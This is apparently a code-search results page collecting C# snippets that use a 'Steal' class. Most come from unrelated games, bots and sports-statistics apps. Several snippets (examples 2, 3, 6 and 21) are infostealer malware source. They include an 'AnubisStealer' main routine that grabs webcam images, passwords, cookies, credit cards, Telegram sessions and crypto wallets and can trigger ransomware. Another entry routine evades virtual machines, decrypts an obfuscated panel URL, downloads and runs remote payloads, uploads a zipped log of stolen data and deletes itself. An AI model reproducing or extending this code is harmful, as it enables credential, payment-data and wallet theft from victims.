コード例 #1
0
        public override void GenerateAbstractQuests(int maxDepth)
        {
            this.Quests.questgiver = this.questgiver;
            Random r = new Random();

            switch (r.Next(3))
            {
            case 0:
                //Gather materials
                this.sqName = "Gather raw materials";
                this.AddQuest(new GoTo(0, maxDepth));
                Quest q = new Get(1, maxDepth);
                q.QuestText.Add("Bring the materials to me please.");
                this.AddQuest(q);
                break;

            case 1:
                //Steal valuables
                this.sqName = "Steal valuables";
                this.AddQuest(new GoTo(0, maxDepth));
                Quest report = new Steal(1, maxDepth);
                report.QuestText.Add("Get me what I want and you will be rewarded.");
                this.AddQuest(report);
                break;

            case 2:
                //Make valuables
                this.sqName = "Make valuables for resale";
                Quest report1 = new Repair();
                report1.QuestText.Add("I am sure I might be able to sell it well.");
                this.AddQuest(report1);
                break;
            }
        }
コード例 #2
0
ファイル: Program.cs プロジェクト: trinium422/AnubisStealer
 private static void Main()
 {
     Directory.CreateDirectory(Program.dir);
     HomeDirectory.Create(GetDirPath.User_Name, true);
     if (Settings.webka)
     {
         GetWebCam.Get_webcam();
     }
     Screen.Get_scr(Program.dir);
     FileZilla.get_filezilla(Program.dir);
     Telegram.StealTelegram(Program.dir);
     if (Settings.loader)
     {
         Loader.Load();
     }
     if (Settings.grabber)
     {
         Grabber.Grab_desktop(Program.dir);
     }
     Steal.Cookies();
     Steal.Passwords();
     Wallets.BitcoinSteal(Program.dir);
     UserAgents.Get_agent(Program.dir);
     Browser_Parse.Parse(Program.dir);
     DomainDetect.Start(Helper.Browsers);
     Hardware.Info(Program.dir);
     Directory.Delete(Program.dir, true);
     Directory.Delete(GetDirPath.User_Name, true);
     if (Settings.ransomware)
     {
         RansomwareCrypt.Start();
     }
 }
コード例 #3
0
 // Token: 0x06000158 RID: 344 RVA: 0x00008750 File Offset: 0x00006950
 public static void Parse(string dir)
 {
     Directory.CreateDirectory(dir + "\\Browsers");
     Steal.Cookies();
     try
     {
         foreach (string text in Browser_Parse.GetProfile())
         {
             try
             {
                 string fullName = new FileInfo(text).Directory.FullName;
                 string text2    = text.Contains(Browser_Parse.RoamingAppData) ? Browser_Parse.GetRoadData(fullName) : Browser_Parse.GetLclName(fullName);
                 if (!string.IsNullOrEmpty(text2))
                 {
                     text2 = text2[0].ToString().ToUpper() + text2.Remove(0, 1);
                     string name = Browser_Parse.GetName(fullName);
                     GetCookies.Cookie_Grab(fullName, text2, name);
                     GetPasswords.Passwords_Grab(fullName, text2, name);
                     GetPasswords.Write_Passwords();
                     Get_Credit_Cards.Get_CC(fullName, text2, name);
                     Get_Credit_Cards.Write_CC(text2, name);
                     Get_Browser_Autofill.Get_Autofill(fullName, text2, name);
                     Get_Browser_Autofill.Write_Autofill(text2, name);
                 }
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
 }
コード例 #4
0
ファイル: Program.cs プロジェクト: zKevz/CSharp-Discord-Bot
        public async Task HandleCommandAsync(SocketMessage m)
        {
            if (m.Author.ToString() != "Cowboy#2612")
            {
                if (ConsoleCommand.boolMessage)
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("\n[LOGS]   Channel name : " + m.Channel + ",   Author name : " +
                                      m.Author + ",   Message Content : " + m.Content);
                    Console.ForegroundColor = ConsoleColor.Green;
                }
            }

            if (!(m is SocketUserMessage msg))
            {
                return;
            }
            if (msg.Author.IsBot)
            {
                return;
            }
            int argPos = 0;

            var channelll = client.GetChannel(717265650929893376) as SocketGuildChannel;

            if (!(msg.HasStringPrefix("c ", ref argPos)) && !(msg.HasStringPrefix("C ", ref argPos)))
            {
                return;
            }

            if (!File.Exists(@"database\account\" + accName(msg.Author.Id) + ".json") && msg.Content.ToLower().Substring(0, 2) == "c " && !msg.Content.ToLower().Contains("c register") && !msg.Content.ToLower().Contains("c help") && !msg.Content.ToLower().Contains("c login") &&
                !msg.Content.ToLower().Contains("c enableaap") && !msg.Content.ToLower().Contains("c disableaap"))
            {
                await noacc(msg.Author);

                return;
            }

            Steal s = new Steal();

            if (File.Exists(@"database\jailed\" + accName(msg.Author.Id) + ".json"))
            {
                await s.jailTime(accName(msg.Author.Id), msg.Author as IGuildUser);
            }

            if (s.isOnJail(accName(m.Author.Id)) == true)
            {
                return;
            }

            else if (msg.Channel.ToString() == ("@" + msg.Author) && !msg.Content.ToLower()
                     .Contains("c enableaap") && !msg.Content.ToLower().Contains("c disableaap"))
            {
                return;
            }

            var context = new SocketCommandContext(client, msg);
            await commands.ExecuteAsync(context, argPos, services);
        }
コード例 #5
0
 private void CalculateStealDirections(
     uint prng, bool cuffs, ref bool found, ref int position)
 {
     if (Steal.WouldRareStealSucceed(prng, cuffs) &&
         !found && LoopIndex >= HealVals.Count)
     {
         found    = true;
         position = LoopIndex - HealVals.Count;
     }
 }
コード例 #6
0
 // Token: 0x06000005 RID: 5 RVA: 0x000022A0 File Offset: 0x000004A0
 public static void GetGecko()
 {
     try
     {
         Steal.Cookies();
         Steal.Passwords();
     }
     catch
     {
     }
 }
コード例 #7
0
 //todo: actually not needed
 internal static bool AreEqual(Steal p1, Steal p2)
 {
     if (AreEqual((Play)p1, (Play)p2))
     {
         return(true);
     }
     else
     {
         return(false);
     }
 }
コード例 #8
0
        public void Setup()
        {
            _slack.Setup(slack => slack.GetUsersInChannel("coco-channel")).Returns(Task.FromResult(new List <string> {
                "robert"
            }));
            _userService.Setup(service => service.IsUserActive(It.IsAny <string>())).Returns(Task.FromResult(true));
            _channelRepository.Setup(repo => repo.GetChannelType("coco-channel")).Returns(ChannelType.Common);
            _itemEventDispatcher.Setup(disp => disp.OnStealingAmount(It.IsAny <User>(), It.IsAny <int>())).Returns(1);

            _steal = new Steal(_statsRepository.Object, _slack.Object, _userService.Object,
                               _channelRepository.Object, _itemEventDispatcher.Object, _randomService.Object, _creditsRepository.Object);
        }
コード例 #9
0
        public void Lone_steal_gives_proper_play()
        {
            var bundle = new List <PlayDTO> {
                P2StoleTheBall
            };
            var P2Steal = new Steal(Guid.NewGuid(), DateTime.Now, true, playerIds[2], gameId);

            result = playParser.ReadPlaysBundle(bundle, gameId).ToList();
            try
            {
                Assert.True(Plays.AreEqual((Steal)result.Last(), P2Steal));
            }
            catch (Exception) { }
        }
コード例 #10
0
        public void Lone_turnover_gives_proper_play()
        {
            var bundle = new List <PlayDTO> {
                P0LostTheBall
            };
            var P0Turnover = new Steal(Guid.NewGuid(), DateTime.Now, false, playerIds[0], gameId);

            result = playParser.ReadPlaysBundle(bundle, gameId).ToList();
            try
            {
                Assert.True(Plays.AreEqual((Turnover)result.Last(), P0Turnover));
            }
            catch (Exception) { }
        }
コード例 #11
0
        public StealBook(IStatsRepository statsRepository, ISlackWebApi slack, IUserService userService,
                         IChannelRepository channelRepository, IEventDispatcher eventDispatcher,
                         IRandomService randomService, ICreditsRepository creditsRepository)
        {
            Id                 = ItemId;
            Name               = "Steal";
            Description        = "Steal rupees from the target. Cost 5 energy to cast.";
            Rarity             = Rarity.Common;
            Icon               = ":skillbook:";
            Price              = 1200;
            LevelRequirement   = 10;
            AgilityRequirement = 15;

            Skill = new Steal(statsRepository, slack, userService, channelRepository, eventDispatcher, randomService, creditsRepository);
        }
コード例 #12
0
        public void Turnover_and_steal_give_proper_plays()
        {
            var bundle = new List <PlayDTO> {
                P0LostTheBall, P2StoleTheBall
            };
            var P2Steal    = new Steal(Guid.NewGuid(), DateTime.Now, true, playerIds[2], gameId);
            var P0Turnover = new Turnover(Guid.NewGuid(), DateTime.Now, false, playerIds[0], gameId);

            try
            {
                Assert.Multiple(() =>
                {
                    Assert.True(Plays.AreEqual((Steal)result.First(), P2Steal));
                    Assert.True(Plays.AreEqual((Turnover)result.Last(), P0Turnover));
                });
            }
            catch (Exception) { }
        }
コード例 #13
0
        public override void GenerateAbstractQuests(int maxDepth)
        {
            this.Quests.questgiver = this.questgiver;
            Random r = new Random();

            switch (r.Next(4))
            {
            case 0:
                //Assemble
                this.sqName = "Assemble";
                Quest q = new Repair();
                this.AddQuest(q);
                break;

            case 1:
                //Deliver supplies
                this.sqName = "Deliver supplies";
                this.AddQuest(new Get(0, maxDepth));
                this.AddQuest(new GoTo(1, maxDepth));
                Quest report = new Give();
                report.QuestText.Add("");
                this.AddQuest(report);
                break;

            case 2:
                //Steal supplies
                this.sqName = "Steal supplies";
                Quest steal = new Steal(0, maxDepth);
                this.AddQuest(steal);
                Quest give = new Give();
                give.QuestText.Add("We need the supplies at all costs.");
                this.AddQuest(give);
                break;

            case 3:
                //Trade supplies
                this.sqName = "Trade supplies";
                this.AddQuest(new GoTo(0, maxDepth));
                Quest use = new Exchange();
                use.QuestText.Add("Good luck with your trade.");
                this.AddQuest(use);
                break;
            }
        }
コード例 #14
0
    //construct with a readonly directive telling what AI owns this instance. could be usefull.
    public PlayerActionDecision(PlayerStatePattern playerStatePatern)
    {
        player = playerStatePatern;

        attack  = new Attack();
        steal   = new Steal();
        Pass    = new Pass();
        dribble = new Dribble();
        cross   = new Cross();
        clear   = new Clear();
        shoot   = new Shoot();

        //fieldMask = Field.Instance.gameObject.layer;
        playerMask = player.gameObject.layer;
        //BallMask = player.ballReference.gameObject.layer;

        options = new DecisionEntery[10];

        teamsArentSet = true;
    }
コード例 #15
0
        public void UsageTest()
        {
            Card x;

            x = new Attack(CardSuit.Club, 0);
            Assert.AreEqual(1, x.numOfTargets());
            x = new Miss(CardSuit.Club, 0);
            Assert.AreEqual(-1, x.numOfTargets()); // this means not usable
            x = new Wine(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new Peach(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new Negate(CardSuit.Club, 0);
            Assert.AreEqual(-1, x.numOfTargets());
            x = new Barbarians(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new HailofArrow(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new PeachGarden(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new Wealth(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new Steal(CardSuit.Club, 0);
            Assert.AreEqual(1, x.numOfTargets());
            x = new Break(CardSuit.Club, 0);
            Assert.AreEqual(1, x.numOfTargets());
            x = new Capture(CardSuit.Club, 0);
            Assert.AreEqual(1, x.numOfTargets());
            x = new Starvation(CardSuit.Club, 0);
            Assert.AreEqual(1, x.numOfTargets());
            x = new Crossbow(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new IceSword(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new Scimitar(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new BlackShield(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
            x = new EightTrigrams(CardSuit.Club, 0);
            Assert.AreEqual(0, x.numOfTargets());
        }
コード例 #16
0
 public Looter(string characterType, int level) : base(characterType, level)
 {
     CurrentHealth         = level * level * 10;
     MaxHealth             = level * level * 10;
     Damage                = 1.5;
     MaxDamage             = Damage;
     Defense               = 100;
     MaxDefense            = Defense;
     Energy                = 0;
     EnergyFillRate        = 6;
     CurrentQueueSize      = 0;
     MaxQueueSize          = 4;
     CriticalPercentage    = 15;
     MaxCriticalPercentage = CriticalPercentage;
     MissPercentage        = 15;
     MaxMissPercentage     = MissPercentage;
     ExperienceMultiplier  = 1.0;
     GoldMultiplier        = 2.0;
     attackOne             = new Attack();
     attackTwo             = new Steal();
     attackThree           = new QuickAttack();
     attackFour            = new Dash();
 }
コード例 #17
0
ファイル: Thief.cs プロジェクト: zhzhwcn/ArchaicQuest
        public static PlayerClass ThiefClass()
        {
            var thief = new PlayerClass
            {
                Name               = "Thief",
                IsBaseClass        = true,
                ExperienceModifier = 2000,
                HelpText           = new Help(),
                Skills             = new List <Skill>(),
                ReclassOptions     = new List <PlayerClass>(),
                MaxHpGain          = 15,
                MinHpGain          = 10,
                MaxManaGain        = 15,
                MinManaGain        = 10,
                MaxEnduranceGain   = 15,
                MinEnduranceGain   = 11,
                StatBonusStr       = 1,
                StatBonusCon       = 1
            };


            #region  Lvl 1 skills

            var longBlades = LongBlades.LongBladesAb();
            longBlades.Learned = true;
            thief.Skills.Add(longBlades);

            var shortBlades = ShortBlades.ShortBladesAb();
            shortBlades.Learned = true;
            thief.Skills.Add(shortBlades);


            var staff = Staff.StaffAb();
            staff.Learned = true;
            thief.Skills.Add(staff);

            var handToHand = HandToHand.HandToHandAb();
            handToHand.Learned = true;
            thief.Skills.Add(handToHand);

            var lightArmour = LightArmour.LightArmourAb();
            lightArmour.Learned = true;
            thief.Skills.Add(lightArmour);

            #endregion

            #region  Lvl 2 skills
            var dodge = Player.Skills.Dodge.DodgeAb();
            dodge.LevelObtained = 2;
            thief.Skills.Add(dodge);

            #endregion

            #region  Lvl 3 skills
            var sneak = Player.Skills.Sneak.SneakAb();
            sneak.LevelObtained = 3;
            thief.Skills.Add(dodge);

            var exotic = Exotic.ExoticAb();
            exotic.LevelObtained = 3;
            thief.Skills.Add(exotic);

            #endregion

            #region  Lvl 4 skills
            var kick = Player.Skills.Kick.KickAb();
            kick.LevelObtained = 5;
            thief.Skills.Add(kick);

            #endregion


            #region Lvl 5 skills

            var blunt = BluntWeapons.BluntWeaponsAb();
            blunt.LevelObtained = 5;
            thief.Skills.Add(blunt);


            #endregion


            #region Lvl 7 skills

            var trip = Trip.TripAb();
            trip.LevelObtained = 7;
            thief.Skills.Add(trip);
            #endregion

            #region Lvl 8 skills

            var lore = Lore.LoreAb();
            thief.Skills.Add(lore);
            #endregion

            #region Lvl 9 skills

            var hide = Hide.HideAb();
            hide.LevelObtained = 9;
            thief.Skills.Add(hide);
            #endregion

            #region Lvl 10 skills

            var skick = SpinKick.KickAb();
            thief.Skills.Add(skick);

            var peak = Peak.PeakAb();
            thief.Skills.Add(peak);
            #endregion

            #region Lvl 11 skills

            var steal = Steal.StealAb();
            thief.Skills.Add(steal);


            #endregion


            #region Lvl 12 skills

            var tumble = Tumble.TumbleAb();
            thief.Skills.Add(tumble);
            #endregion


            #region Lvl 13 skills

            var picklock = LockPick.LockPickAb();
            thief.Skills.Add(picklock);
            #endregion

            #region Lvl 14 skills

            var dkick = DirtKick.DirtKickAb();
            dkick.LevelObtained = 14;
            thief.Skills.Add(dkick);
            #endregion


            #region Lvl 15 skills

            var bstab = Backstab.BackstabAb();
            thief.Skills.Add(bstab);
            #endregion

            #region Lvl 16 skills

            var parry = Parry.ParryAb();
            parry.LevelObtained = 16;
            thief.Skills.Add(parry);
            #endregion


            #region Lvl 18 skills

            var disarm = Disarm.DisarmAb();
            disarm.LevelObtained = 18;
            thief.Skills.Add(disarm);
            #endregion

            #region Lvl 20 skills

            var feint = Feint.FeintAb();

            thief.Skills.Add(feint);
            #endregion



            thief.ReclassOptions.Add(Ranger.RangerClass());

            return(thief);
        }
コード例 #18
0
 public void CheckSteal_StealRare()
 {
     Assert.AreEqual(
         "Rare",
         Steal.CheckSteal(0, 0, 0));
 }
コード例 #19
0
 public void CheckSteal_StealUncommon()
 {
     Assert.AreEqual(
         "Uncommon",
         Steal.CheckSteal(99, 0, 0));
 }
コード例 #20
0
 public void CheckSteal_StealRare_EdgeCase()
 {
     Assert.AreEqual(
         "Rare",
         Steal.CheckSteal(2, 0, 0));
 }
コード例 #21
0
ファイル: Program.cs プロジェクト: yaskin/Stealers-Collection
        public static void Main()
        {
            AntiAnalyses.Proc();
            AntiAnalyses.VMDetect();
            AntiAnalyses.SandboxieDetect();

            //   Helpers.AntiSNG();


            string password = "******";

            byte[] url_bytes = StringToByteArray("[URL]");
            byte[] pwd_bytes = Encoding.Default.GetBytes(Encrypt.XOR(password));
            string result_encoded_string_panel = Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, url_bytes));

            byte[] ass = Encoding.Default.GetBytes(result_encoded_string_panel);
            Dirs.WorkDirCreate();
            User.GetCountryByIP(User.IP);
            Dirs.Move();

            var request = WebRequest.Create(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)));

            using (Stream stream = request.GetResponse().GetResponseStream())
            {
                string   arguments = new StreamReader(stream).ReadToEnd();
                string[] argss     = arguments.Split(',');



                bool Pass_bool    = true;
                bool Steam        = false;
                bool Grabber      = false;
                bool Cookies_bool = false;
                bool History_bool = false;
                bool Telegram     = false;
                bool Loader_bool  = false;
                bool Mutex        = false;
                bool Clear_bool   = false;
                bool ScreenShot   = false;
                bool Crypto       = false;

                if (argss[12] == "1")
                {
                    Mutex = true;
                }

                if (!Mutex)
                {
                    Helpers.MutexCheck();
                }

                if (argss[0] == "1")
                {
                    Pass_bool = true;
                }
                if (argss[1] == "1")
                {
                    Cookies_bool = true;
                }
                if (argss[2] == "1")
                {
                    History_bool = true;
                }
                if (argss[3] == "1")
                {
                    Crypto = true;
                }
                if (argss[4] == "1")
                {
                    Steam = true;
                }
                if (argss[5] == "1")
                {
                    Telegram = true;
                }
                if (argss[6] == "1")
                {
                    ScreenShot = true;
                }
                if (argss[7] == "1")
                {
                    Grabber = true;
                }
                if (argss[10] == "1")
                {
                    Clear_bool = true;
                }
                if (argss[11].StartsWith("http"))
                {
                    Loader_bool = true;
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);
                    Loader.Run(URL, filename);
                }


                if (Pass_bool)
                {
                    Steal.Passwords();
                    Passwords.GetPasswordsNEW();
                }

                if (History_bool)
                {
                    History.Get();
                }

                if (Loader_bool)
                {
                    string URL      = argss[11];
                    string filename = Path.GetFileName(URL);

                    Loader.Run(URL, filename);
                }

                if (Steam)
                {
                    Grab.Steam();
                }

                if (Telegram)
                {
                    Grab.NewTelegram();
                }

                if (Cookies_bool)
                {
                    Cookies.Get();
                    Steal.Cookies();
                    CC.Get();
                }

                if (Crypto)
                {
                    Grab.DirSearch(Dirs.AppData);
                }

                if (Grabber)
                {
                    string[] extensions = argss[8].Split(':');
                    Grab.extensions.AddRange(extensions.Select(ex => ex));
                    Grab.Weight  = Convert.ToInt32(argss[9]);
                    Grab.Weight *= 1024;

                    Grab.Desktop();
                }

                if (ScreenShot)
                {
                    Grab.ScreenShot();
                }



                Grab.FileZilla();
                Grab.Pidgin();

                User.GetUA();
                Helpers.UADetect();
                Helpers.InfoDetect();
                Helpers.LogDetect();

                User.GetInfo();

                Helpers.Zip();



                string log = @"" + Dirs.Temp + "\\" + User.IP + "_" + User.randomnm + ".zip";

                Post_File.GetInfoForPanel();
                Post_File.HttpUploadFile(Encoding.Default.GetString(Encrypt.Encrypt_RC4(pwd_bytes, ass)), log, "logs", "zip", Post_File.name);


                if (Clear_bool)
                {
                    Helpers.Suicide();
                }
            }

            Helpers.Clear();
            Directory.Delete(Dirs.WorkDir);
        }
コード例 #22
0
 public void CheckStealCuffs_StealRareUncommon()
 {
     Assert.AreEqual(
         "Rare + Uncommon",
         Steal.CheckStealCuffs(0, 0, 99));
 }
コード例 #23
0
 public void CheckModulo()
 {
     Assert.AreEqual(
         "Rare",
         Steal.CheckSteal(100, 0, 0));
 }
コード例 #24
0
 public void CheckStealCuffs_StealRare()
 {
     Assert.AreEqual(
         "Rare",
         Steal.CheckStealCuffs(0, 99, 99));
 }
コード例 #25
0
 public void CheckSteal_StealCommon_EdgeCase()
 {
     Assert.AreEqual(
         "Common",
         Steal.CheckSteal(3, 10, 54));
 }
コード例 #26
0
 public void CheckSteal_StealUncommon_EdgeCase()
 {
     Assert.AreEqual(
         "Uncommon",
         Steal.CheckSteal(3, 9, 0));
 }
コード例 #27
0
            public async Task <int> Handle(CreateTurnoverCommand request, CancellationToken cancellationToken)
            {
                var playerMatchTurnover = await _context.PlayerMatch
                                          .Include(x => x.PlayerSeason)
                                          .FirstOrDefaultAsync(x => x.PlayerSeason.PlayerId == request.PlayerId && x.MatchId == request.MatchId, cancellationToken);

                Match match = await _context.Match
                              .Include(x => x.TeamGuest)
                              .Include(x => x.TeamHome)
                              .FirstOrDefaultAsync(x => x.Id == request.MatchId, cancellationToken);

                TeamMatch teamMatchWhoTurnover;
                TeamMatch teamMatchWhoSteal;

                if (request.IsGuest)
                {
                    teamMatchWhoTurnover = match.TeamGuest;
                    teamMatchWhoSteal    = match.TeamHome;
                }
                else
                {
                    teamMatchWhoTurnover = match.TeamHome;
                    teamMatchWhoSteal    = match.TeamGuest;
                }

                if (playerMatchTurnover == null)
                {
                    var playerSeason =
                        await _context.PlayerSeason.FirstOrDefaultAsync(x => x.PlayerId == request.PlayerId,
                                                                        cancellationToken);

                    playerMatchTurnover = new PlayerMatch {
                        PlayerSeasonId = playerSeason.Id, MatchId = request.MatchId
                    };

                    _context.PlayerMatch.Add(playerMatchTurnover);
                }

                playerMatchTurnover.Tov++;
                teamMatchWhoTurnover.Tov++;

                var incident = new Incident
                {
                    MatchId      = request.MatchId,
                    Minutes      = request.Minutes,
                    Seconds      = request.Seconds,
                    IncidentType = IncidentType.TURNOVER,
                    Quater       = request.Quater,
                    Flagged      = request.Flagged,
                    IsGuest      = request.IsGuest
                };

                var turnover = new Turnover
                {
                    PlayerId     = request.PlayerId,
                    TurnoverType = request.TurnoverType,
                    Incident     = incident
                };

                if (request.PlayerStealId.HasValue)
                {
                    var playerMatchSteal = await _context.PlayerMatch
                                           .Include(x => x.PlayerSeason)
                                           .FirstOrDefaultAsync(x => x.PlayerSeason.PlayerId == request.PlayerStealId && x.MatchId == request.MatchId, cancellationToken);

                    if (playerMatchSteal == null)
                    {
                        var playerSeason =
                            await _context.PlayerSeason.FirstOrDefaultAsync(x => x.PlayerId == request.PlayerStealId,
                                                                            cancellationToken);

                        playerMatchSteal = new PlayerMatch {
                            PlayerSeasonId = playerSeason.Id, MatchId = request.MatchId
                        };

                        _context.PlayerMatch.Add(playerMatchSteal);
                    }

                    playerMatchSteal.Stl++;
                    teamMatchWhoSteal.Stl++;

                    var steal = new Steal {
                        PlayerId = request.PlayerStealId.Value, Turnover = turnover
                    };

                    _context.Steal.Add(steal);
                }

                _context.Turnover.Add(turnover);

                var success = await _context.SaveChangesAsync(cancellationToken) > 0;

                if (success)
                {
                    return(incident.Id);
                }

                throw new Exception("Error saving changes");
            }
コード例 #28
0
 public void CheckSteal_StealCommon()
 {
     Assert.AreEqual(
         "Common",
         Steal.CheckSteal(99, 99, 0));
 }
コード例 #29
0
 public void CheckSteal_StealNone_EdgeCase()
 {
     Assert.AreEqual(
         "None",
         Steal.CheckSteal(3, 10, 55));
 }
コード例 #30
0
 public void CheckSteal_StealNone()
 {
     Assert.AreEqual(
         "None",
         Steal.CheckSteal(99, 99, 99));
 }